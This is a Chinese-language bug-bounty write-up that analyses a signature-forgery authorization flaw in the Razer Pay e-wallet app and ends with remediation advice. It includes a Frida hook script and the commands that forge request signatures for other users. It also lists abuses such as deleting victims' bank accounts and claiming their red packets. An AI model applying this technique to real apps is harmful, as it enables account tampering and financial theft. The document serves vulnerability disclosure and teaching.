挖洞经验 | 雷蛇电子钱包APP漏洞分析
字数 1087 2025-08-15 21:31:05
雷蛇电子钱包APP漏洞分析教学文档
漏洞概述
本教学文档详细分析雷蛇支付(Razer Pay)电子钱包APP中的用户签名(Signature)生成漏洞,该漏洞允许攻击者绕过签名验证机制,执行越权操作如读取聊天记录、删除绑定银行账户等。漏洞最终获得雷蛇官方近$6,000的奖励。
漏洞背景
雷蛇支付(Razer Pay)在新加坡和马来西亚广泛使用,其请求防篡改机制使用两个关键参数:
auth_tokensignature(用于不同用户的请求签名验证)
每个GET/POST请求都会附带编码后的signature参数和用户ID,防止请求参数被篡改。
漏洞发现过程
1. 初步测试
- 使用Burp抓包发现参数无法篡改
- 尝试注册第二个用户进行测试,但会话Payload替换无效
- 确认问题出在用户签名(Signature)的保护机制
2. 逆向分析
工具链:
- apktool
- Jadx-Gui (反编译工具)
发现关键方法:
MD5Encode方法函数(使用MD5加密算法)
3. 签名生成机制分析
步骤:
- 提取涉及用户签名生成的所有相关代码
- 使用IntelliJ IDEA进行调试
- 确定正确的参数组合次序
- 调整混淆后的代码
关键发现:
- 签名生成使用用户自己的token作为参数之一
- 通过
MD5Encode方法可生成与不同用户ID对应的签名
4. 漏洞验证
测试敏感API接口:
/deleteBankAccount(删除绑定银行账户操作)- 成功删除其他用户的绑定银行账户(越权漏洞)
深入利用
1. 使用Frida进行动态分析
Frida脚本(frida.js)示例:
console.log("Starting...")
Java.perform(function () {
var MD5 = Java.use('com.mol.molwallet.view.MD5')
MD5.MD5Encode.implementation = function (arg) {
console.log("Hooking class MD5 - method MD5Encode")
// 计算新签名
var ret_value = this.MD5Encode("groupId=1x9&userIds=95xxx7&token=b6fxxxd3-2xxc-4xxf-bxx7-7fxxxxa6")
console.log("[+] signature= " + ret_value)
// 调用原始方法防止应用崩溃
var ret_value = this.MD5Encode(arg)
console.log("original ARG: " + arg)
return ret_value;
}
})
执行步骤:
- 在root设备上启动Frida服务:
$ adb shell # sudo su # /data/local/tmp/frida-server - 运行Frida脚本:
$ frida -l frida.js -U com.mol.molwallet
2. 实际利用案例
-
加入其他用户的聊天群组:
- 生成有效签名加入任意群组
- 可获取群聊内容
- 可领取他人发送的红包
-
其他安全问题:
- 获取用户群组分享的红包金额
- 修改/查看其他用户的转账记录
- 查看/修改其他用户的个人信息
漏洞修复建议
-
签名生成机制改进:
- 使用更安全的哈希算法(如SHA-256)
- 加入时间戳和随机数防止重放攻击
- 使用HMAC而非简单MD5
-
服务端验证加强:
- 严格验证签名与用户身份的对应关系
- 对敏感操作增加二次验证
-
代码混淆加强:
- 使用更高级的混淆技术
- 关键安全方法应动态加载
总结
本漏洞展示了移动应用安全中几个关键问题:
- 不安全的签名生成机制
- 缺乏足够的权限验证
- 客户端安全控制的不可靠性
通过逆向工程和动态分析工具(Frida)的结合使用,安全研究人员可以深入分析应用的安全机制并发现潜在漏洞。